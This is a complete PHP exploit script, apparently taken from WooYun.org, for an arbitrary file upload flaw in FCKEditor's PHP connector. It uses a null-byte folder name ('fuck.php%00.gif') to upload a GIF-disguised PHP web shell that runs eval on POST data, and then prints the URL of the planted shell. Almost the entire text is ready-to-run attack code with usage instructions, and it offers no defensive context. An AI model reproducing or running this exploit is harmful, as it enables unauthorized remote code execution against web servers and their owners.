WooYun.org

<?








error_reporting(0);


set_time_limit(0);


ini_set("default_socket_timeout", 5);





define(STDIN, fopen("php://stdin", "r"));


$match = array();





function http_send($host, $packet)


{


	$sock = fsockopen($host, 80);


	while (!$sock)


	{


		print "\n[-] No response from {$host}:80 Trying again...";


		$sock = fsockopen($host, 80);


	}


	fputs($sock, $packet);


	while (!feof($sock)) $resp .= fread($sock, 1024);


	fclose($sock);


	print $resp;


	return $resp;


}





function connector_response($html)


{


	global $match;


	return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));


}





print "\n+------------------------------------------------------------------+";


print "\n| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ     |";


print "\n+------------------------------------------------------------------+\n";





if ($argc < 3)


{


	print "\nUsage......: php $argv[0] host path\n";


	print "\nExample....: php $argv[0] localhost /\n";


	print "\nExample....: php $argv[0] localhost /FCKEditor/\n";





	die();


}





$host = $argv[1];


$path = ereg_replace("(/){2,}", "/", $argv[2]);





$filename  = "fvck.gif";


$foldername = "fuck.php%00.gif";


$connector = "editor/filemanager/connectors/php/connector.php";








$payload  = "-----------------------------265001916915724\r\n";


$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";


$payload .= "Content-Type:  image/jpeg\r\n\r\n";


$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";


$payload .= "-----------------------------265001916915724--\r\n";





$packet	 = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";


//print $packet;


$packet	.= "Host: {$host}\r\n";





$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";


$packet .= "Content-Length: ".strlen($payload)."\r\n";


$packet .= "Connection: close\r\n\r\n";


$packet .= $payload;





print $packet;





if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");


else print "\n[-] Job done! try http://${host}/$match[2] \n";








?>